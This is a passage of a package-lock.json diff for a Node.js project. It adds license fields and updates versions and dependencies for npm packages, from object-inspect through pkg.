       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": "6.* || 8.* || >= 10.*"
       }
@@ -10280,6 +11467,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -10292,6 +11480,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -10307,6 +11496,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -10322,6 +11512,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -10334,6 +11525,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -10342,13 +11534,15 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
       "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/nyc/node_modules/yargs": {
       "version": "15.4.1",
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
       "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cliui": "^6.0.0",
         "decamelize": "^1.2.0",
@@ -10371,6 +11565,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
       "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^5.0.0",
         "decamelize": "^1.2.0"
@@ -10384,6 +11579,7 @@
       "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
       "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
@@ -10392,6 +11588,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
       "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10400,14 +11597,19 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
       "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
     },
     "node_modules/object-inspect": {
-      "version": "1.13.1",
-      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz",
-      "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==",
+      "version": "1.13.4",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+      "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -10416,20 +11618,22 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
       "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
-      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/object.assign": {
-      "version": "4.1.4",
-      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
-      "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
-      "dev": true,
+      "version": "4.1.7",
+      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",
+      "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "has-symbols": "^1.0.3",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0",
+        "has-symbols": "^1.1.0",
         "object-keys": "^1.1.1"
       },
       "engines": {
@@ -10440,14 +11644,16 @@
       }
     },
     "node_modules/object.fromentries": {
-      "version": "2.0.7",
-      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.7.tgz",
-      "integrity": "sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==",
+      "version": "2.0.8",
+      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",
+      "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10457,26 +11663,31 @@
       }
     },
     "node_modules/object.groupby": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.1.tgz",
-      "integrity": "sha512-HqaQtqLnp/8Bn4GL16cj+CUYbnpe1bh0TtEaWvybszDG4tgxCJuRpV8VGuvNaI1fAnI4lUJzDG55MXcOH4JZcQ==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz",
+      "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "get-intrinsic": "^1.2.1"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/object.values": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.7.tgz",
-      "integrity": "sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz",
+      "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -10489,6 +11700,7 @@
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
       "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "license": "ISC",
       "dependencies": {
         "wrappy": "1"
       }
@@ -10497,6 +11709,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
       "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+      "license": "MIT",
       "dependencies": {
         "mimic-fn": "^2.1.0"
       },
@@ -10511,6 +11724,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
       "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -10519,6 +11733,7 @@
       "version": "8.4.2",
       "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz",
       "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==",
+      "license": "MIT",
       "dependencies": {
         "define-lazy-prop": "^2.0.0",
         "is-docker": "^2.1.1",
@@ -10536,22 +11751,24 @@
       "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz",
       "integrity": "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "opencollective-postinstall": "index.js"
       }
     },
     "node_modules/optionator": {
-      "version": "0.9.3",
-      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz",
-      "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==",
+      "version": "0.9.4",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
+      "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@aashutoshrathi/word-wrap": "^1.2.3",
         "deep-is": "^0.1.3",
         "fast-levenshtein": "^2.0.6",
         "levn": "^0.4.1",
         "prelude-ls": "^1.2.1",
-        "type-check": "^0.4.0"
+        "type-check": "^0.4.0",
+        "word-wrap": "^1.2.5"
       },
       "engines": {
         "node": ">= 0.8.0"
@@ -10561,6 +11778,7 @@
       "version": "5.4.1",
       "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz",
       "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==",
+      "license": "MIT",
       "dependencies": {
         "bl": "^4.1.0",
         "chalk": "^4.1.0",
@@ -10583,14 +11801,33 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
       "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/own-keys": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz",
+      "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==",
+      "license": "MIT",
+      "dependencies": {
+        "get-intrinsic": "^1.2.6",
+        "object-keys": "^1.1.1",
+        "safe-push-apply": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/p-cancelable": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
       "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -10599,6 +11836,7 @@
       "version": "4.2.0",
       "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz",
       "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==",
+      "license": "MIT",
       "dependencies": {
         "p-timeout": "^3.1.0"
       },
@@ -10613,6 +11851,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
       "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -10622,6 +11861,7 @@
       "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-3.0.0.tgz",
       "integrity": "sha512-Wo8VsW4IRQSKVXsJCn7TomUaVtyfjVDn3nUP7kE967BQk0CwFpdbZs0X0uk5sW9mkBa9eNM7hCMaG93WUAwxYQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -10631,6 +11871,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
       "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "yocto-queue": "^0.1.0"
       },
@@ -10646,6 +11887,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
       "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^3.0.2"
       },
@@ -10661,6 +11903,7 @@
       "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
       "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "aggregate-error": "^3.0.0"
       },
@@ -10672,6 +11915,7 @@
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz",
       "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==",
+      "license": "MIT",
       "dependencies": {
         "p-finally": "^1.0.0"
       },
@@ -10684,6 +11928,7 @@
       "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
       "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -10693,6 +11938,7 @@
       "resolved": "https://registry.npmjs.org/package-hash/-/package-hash-4.0.0.tgz",
       "integrity": "sha512-whdkPIooSu/bASggZ96BWVvZTRMOFxnyUG5PnTSGKoJE2gd5mbVNmR2Nj20QFzxYYgAXpoqC+AiXzl+UMRh7zQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "graceful-fs": "^4.1.15",
         "hasha": "^5.0.0",
@@ -10706,13 +11952,15 @@
     "node_modules/pako": {
       "version": "1.0.11",
       "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
-      "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="
+      "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
+      "license": "(MIT AND Zlib)"
     },
     "node_modules/parent-module": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
       "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "callsites": "^3.0.0"
       },
@@ -10721,15 +11969,16 @@
       }
     },
     "node_modules/parse-github-url": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/parse-github-url/-/parse-github-url-1.0.2.tgz",
-      "integrity": "sha512-kgBf6avCbO3Cn6+RnzRGLkUsv4ZVqv/VfAYkRsyBcgkshNvVBkRn1FEZcW0Jb+npXQWm2vHPnnOqFteZxRRGNw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/parse-github-url/-/parse-github-url-1.0.3.tgz",
+      "integrity": "sha512-tfalY5/4SqGaV/GIGzWyHnFjlpTPTNpENR9Ea2lLldSJ8EWXMsvacWucqY3m3I4YPtas15IxTLQVQ5NSYXPrww==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "parse-github-url": "cli.js"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.10"
       }
     },
     "node_modules/parse-json": {
@@ -10737,6 +11986,7 @@
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
       "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.0.0",
         "error-ex": "^1.3.1",
@@ -10755,6 +12005,7 @@
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
       "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -10763,6 +12014,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
       "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10771,6 +12023,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
       "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -10779,6 +12032,7 @@
       "version": "1.0.12",
       "resolved": "https://registry.npmjs.org/path-loader/-/path-loader-1.0.12.tgz",
       "integrity": "sha512-n7oDG8B+k/p818uweWrOixY9/Dsr89o2TkCm6tOTex3fpdo2+BFDgR+KpB37mGKBRsBAlR8CIJMFN0OEy/7hIQ==",
+      "license": "MIT",
       "dependencies": {
         "native-promise-only": "^0.8.1",
         "superagent": "^7.1.6"
@@ -10788,27 +12042,21 @@
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
       "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/path-to-regexp": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
-      "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz",
+      "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==",
       "dev": true,
-      "dependencies": {
-        "isarray": "0.0.1"
-      }
-    },
-    "node_modules/path-to-regexp/node_modules/isarray": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-      "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
-      "dev": true
+      "license": "MIT"
     },
     "node_modules/path-type": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
       "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -10816,13 +12064,15 @@
     "node_modules/path2": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/path2/-/path2-0.1.0.tgz",
-      "integrity": "sha512-TX+cz8Jk+ta7IvRy2FAej8rdlbrP0+uBIkP/5DTODez/AuL/vSb30KuAdDxGVREXzn8QfAiu5mJYJ1XjbOhEPA=="
+      "integrity": "sha512-TX+cz8Jk+ta7IvRy2FAej8rdlbrP0+uBIkP/5DTODez/AuL/vSb30KuAdDxGVREXzn8QfAiu5mJYJ1XjbOhEPA==",
+      "license": "MIT"
     },
     "node_modules/pathval": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz",
       "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
@@ -10831,6 +12081,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-4.1.0.tgz",
       "integrity": "sha512-ZI3LnwUv5nOGbQzD9c2iDG6toheuXSZP5esSHBjopsXH4dg19soufvpUGA3uohi5anFtGb2lhAVdHzH6R/Evvg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -10842,24 +12093,28 @@
     "node_modules/pend": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
-      "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="
+      "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==",
+      "license": "MIT"
     },
     "node_modules/performance-now": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
       "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/picocolors": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
-      "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
-      "dev": true
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/picomatch": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
       "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8.6"
       },
@@ -10872,6 +12127,7 @@
       "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.6.0.tgz",
       "integrity": "sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "pidtree": "bin/pidtree.js"
       },
@@ -10883,6 +12139,7 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
       "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10891,6 +12148,7 @@
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
       "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10899,6 +12157,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
       "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==",
+      "license": "MIT",
       "dependencies": {
         "pinkie": "^2.0.0"
       },
@@ -10911,6 +12170,7 @@
       "resolved": "https://registry.npmjs.org/pkg/-/pkg-5.8.1.tgz",
